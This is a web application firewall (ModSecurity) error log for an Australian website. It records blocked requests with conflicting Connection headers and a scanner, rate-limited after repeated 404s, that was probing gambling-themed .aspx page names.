[Mon Mar 09 02:50:13.645950 2026] [:error] [pid 49404:tid 49614] [client 43.153.36.110:60380] [client 43.153.36.110] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aa3E5Xc8Cw-aeCN3s76WmAAAA0A"]
[Mon Mar 09 07:28:13.785703 2026] [:error] [pid 17485:tid 17508] [client 43.130.150.80:60350] [client 43.130.150.80] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aa4GDdQOL_kxQEc1PTDFmAAAARQ"]
[Mon Mar 09 10:28:40.203467 2026] [:error] [pid 5779:tid 5856] [client 54.37.252.36:55702] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aa4wWAaHbHwtklaurgWI7AAAAAE"]
[Mon Mar 09 10:28:42.966802 2026] [:error] [pid 17485:tid 17505] [client 54.37.252.36:39242] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aa4wWtQOL_kxQEc1PTB5JgAAARE"]
[Mon Mar 09 10:28:45.639422 2026] [:error] [pid 5779:tid 5869] [client 54.37.252.36:39256] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aa4wXQaHbHwtklaurgWI8QAAAA4"]
[Mon Mar 09 11:04:06.322274 2026] [:error] [pid 2145:tid 2190] [client 51.77.216.124:48738] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aa44pnczzpD9XHtKwuCOawAAAVI"]
[Mon Mar 09 11:04:09.127773 2026] [:error] [pid 2145:tid 2172] [client 51.77.216.124:46972] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aa44qXczzpD9XHtKwuCOcwAAAUY"]
[Mon Mar 09 11:04:12.423133 2026] [:error] [pid 5779:tid 5860] [client 51.77.216.124:46982] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aa44rAaHbHwtklaurgWRYQAAAAU"]
[Mon Mar 09 11:04:15.320981 2026] [:error] [pid 2145:tid 2189] [client 51.77.216.124:46992] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aa44r3czzpD9XHtKwuCOkAAAAVE"]
[Mon Mar 09 11:04:17.785705 2026] [:error] [pid 6074:tid 6091] [client 51.77.216.124:43178] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aa44sRgvXHMVGYw_ElxviQAAAMA"]
[Mon Mar 09 11:04:20.292139 2026] [:error] [pid 2145:tid 2183] [client 51.77.216.124:43184] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aa44tHczzpD9XHtKwuCOmQAAAU8"]
[Mon Mar 09 11:04:22.806860 2026] [:error] [pid 6074:tid 6107] [client 51.77.216.124:43190] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aa44thgvXHMVGYw_ElxvkQAAANA"]
[Mon Mar 09 11:04:25.282955 2026] [:error] [pid 6074:tid 6111] [client 51.77.216.124:43192] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aa44uRgvXHMVGYw_ElxvmwAAANQ"]
[Mon Mar 09 11:04:27.624319 2026] [:error] [pid 5787:tid 5929] [client 51.77.216.124:52640] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aa44u7GpMgQ18gGUaFPU4QAAAIc"]
[Mon Mar 09 11:04:30.040062 2026] [:error] [pid 6074:tid 6100] [client 51.77.216.124:52642] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aa44vhgvXHMVGYw_ElxvoAAAAMk"]
[Mon Mar 09 11:04:32.445100 2026] [:error] [pid 5779:tid 5874] [client 51.77.216.124:52654] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aa44wAaHbHwtklaurgWRdQAAABM"]
[Mon Mar 09 11:04:34.810121 2026] [:error] [pid 2145:tid 2180] [client 51.77.216.124:52670] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aa44wnczzpD9XHtKwuCOvwAAAUw"]
[Mon Mar 09 11:04:37.157921 2026] [:error] [pid 17485:tid 17499] [client 51.77.216.124:58068] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aa44xdQOL_kxQEc1PTClQgAAAQs"]
[Mon Mar 09 11:04:39.664532 2026] [:error] [pid 17485:tid 17510] [client 51.77.216.124:58076] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aa44x9QOL_kxQEc1PTClTgAAARY"]
[Mon Mar 09 11:04:42.108738 2026] [:error] [pid 5779:tid 5855] [client 51.77.216.124:58086] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aa44ygaHbHwtklaurgWRfgAAAAA"]
[Mon Mar 09 11:04:44.389209 2026] [:error] [pid 6074:tid 6097] [client 51.77.216.124:58096] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aa44zBgvXHMVGYw_ElxvqgAAAMY"]
[Mon Mar 09 11:04:46.837405 2026] [:error] [pid 5787:tid 5940] [client 51.77.216.124:60186] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aa44zrGpMgQ18gGUaFPU-wAAAJI"]
[Mon Mar 09 11:04:49.215116 2026] [:error] [pid 2145:tid 2173] [client 51.77.216.124:60190] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aa440XczzpD9XHtKwuCPAQAAAUc"]
[Mon Mar 09 11:04:51.650462 2026] [:error] [pid 17485:tid 17508] [client 51.77.216.124:60198] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aa4409QOL_kxQEc1PTClZAAAARQ"]
[Mon Mar 09 11:04:54.172964 2026] [:error] [pid 6074:tid 6106] [client 51.77.216.124:60204] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aa441hgvXHMVGYw_ElxvtgAAAM8"]
[Mon Mar 09 11:04:56.544255 2026] [:error] [pid 2145:tid 2194] [client 51.77.216.124:60218] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aa442HczzpD9XHtKwuCPMQAAAVY"]
[Mon Mar 09 11:04:59.088513 2026] [:error] [pid 17485:tid 17495] [client 51.77.216.124:60266] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aa4429QOL_kxQEc1PTCldwAAAQc"]
[Mon Mar 09 11:05:01.582732 2026] [:error] [pid 5787:tid 5937] [client 51.77.216.124:60282] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aa443bGpMgQ18gGUaFPVBgAAAI8"]
[Mon Mar 09 11:05:03.963600 2026] [:error] [pid 6074:tid 6104] [client 51.77.216.124:60284] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aa443xgvXHMVGYw_Elxv0QAAAM0"]
[Mon Mar 09 11:05:24.609334 2026] [:error] [pid 5783:tid 5895] [client 51.77.216.124:60300] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aa449AdiZJ1FQPtsTNRPnAAAAEE"]
[Mon Mar 09 11:05:27.053947 2026] [:error] [pid 6074:tid 6114] [client 51.77.216.124:60866] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aa449xgvXHMVGYw_Elxv-QAAANc"]
[Mon Mar 09 11:05:29.426940 2026] [:error] [pid 2145:tid 2173] [client 51.77.216.124:60878] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aa44-XczzpD9XHtKwuCPagAAAUc"]
[Mon Mar 09 11:05:31.814149 2026] [:error] [pid 17485:tid 17505] [client 51.77.216.124:60888] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aa44-9QOL_kxQEc1PTCl5gAAARE"]
[Mon Mar 09 11:05:34.216686 2026] [:error] [pid 17485:tid 17505] [client 51.77.216.124:60892] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aa44_tQOL_kxQEc1PTCl8AAAARE"]
[Mon Mar 09 11:05:36.622931 2026] [:error] [pid 6074:tid 6112] [client 51.77.216.124:60904] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aa45ABgvXHMVGYw_ElxwBQAAANU"]
[Mon Mar 09 11:05:39.154282 2026] [:error] [pid 17485:tid 17499] [client 51.77.216.124:40230] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aa45A9QOL_kxQEc1PTCmAQAAAQs"]
[Mon Mar 09 11:05:41.672004 2026] [:error] [pid 5787:tid 5933] [client 51.77.216.124:40236] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aa45BbGpMgQ18gGUaFPVLgAAAIs"]
[Mon Mar 09 11:05:44.175666 2026] [:error] [pid 17485:tid 17511] [client 51.77.216.124:40240] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aa45CNQOL_kxQEc1PTCmRAAAARc"]
[Mon Mar 09 11:05:46.695895 2026] [:error] [pid 17485:tid 17497] [client 51.77.216.124:36304] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aa45CtQOL_kxQEc1PTCmWQAAAQk"]
[Mon Mar 09 11:05:49.190292 2026] [:error] [pid 5783:tid 5910] [client 51.77.216.124:36306] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aa45DQdiZJ1FQPtsTNRPsgAAAFA"]
[Mon Mar 09 11:05:51.696851 2026] [:error] [pid 17485:tid 17495] [client 51.77.216.124:36316] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aa45D9QOL_kxQEc1PTCmbgAAAQc"]
[Mon Mar 09 11:05:54.194941 2026] [:error] [pid 17485:tid 17496] [client 51.77.216.124:36330] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aa45EtQOL_kxQEc1PTCmegAAAQg"]
[Mon Mar 09 11:05:56.709791 2026] [:error] [pid 17485:tid 17495] [client 51.77.216.124:41034] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aa45FNQOL_kxQEc1PTCmhgAAAQc"]
[Mon Mar 09 11:05:59.176120 2026] [:error] [pid 6074:tid 6100] [client 51.77.216.124:41046] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aa45FxgvXHMVGYw_ElxwFwAAAMk"]
[Mon Mar 09 11:06:01.674639 2026] [:error] [pid 17485:tid 17503] [client 51.77.216.124:41060] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aa45GdQOL_kxQEc1PTCmnwAAAQ8"]
[Mon Mar 09 11:06:04.006378 2026] [:error] [pid 6074:tid 6105] [client 51.77.216.124:41076] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aa45HBgvXHMVGYw_ElxwHQAAAM4"]
[Mon Mar 09 11:06:06.504857 2026] [:error] [pid 6074:tid 6097] [client 51.77.216.124:41084] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aa45HhgvXHMVGYw_ElxwIwAAAMY"]
[Mon Mar 09 11:06:08.989489 2026] [:error] [pid 6074:tid 6091] [client 51.77.216.124:50946] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aa45IBgvXHMVGYw_ElxwJgAAAMA"]
[Mon Mar 09 11:06:11.338563 2026] [:error] [pid 17485:tid 17504] [client 51.77.216.124:50954] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aa45I9QOL_kxQEc1PTCmrQAAARA"]
[Mon Mar 09 11:06:13.838567 2026] [:error] [pid 17485:tid 17512] [client 51.77.216.124:50964] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aa45JdQOL_kxQEc1PTCmtgAAARg"]
[Mon Mar 09 11:06:16.334236 2026] [:error] [pid 6074:tid 6096] [client 51.77.216.124:50970] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aa45KBgvXHMVGYw_ElxwLwAAAMU"]
[Mon Mar 09 11:06:18.830763 2026] [:error] [pid 6074:tid 6106] [client 51.77.216.124:43748] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aa45KhgvXHMVGYw_ElxwNgAAAM8"]
[Mon Mar 09 11:06:21.353900 2026] [:error] [pid 5787:tid 5943] [client 51.77.216.124:43764] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aa45LbGpMgQ18gGUaFPVTAAAAJU"]
[Mon Mar 09 11:06:42.329770 2026] [:error] [pid 5779:tid 5859] [client 51.77.216.124:43766] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aa45QgaHbHwtklaurgWR0AAAAAQ"]
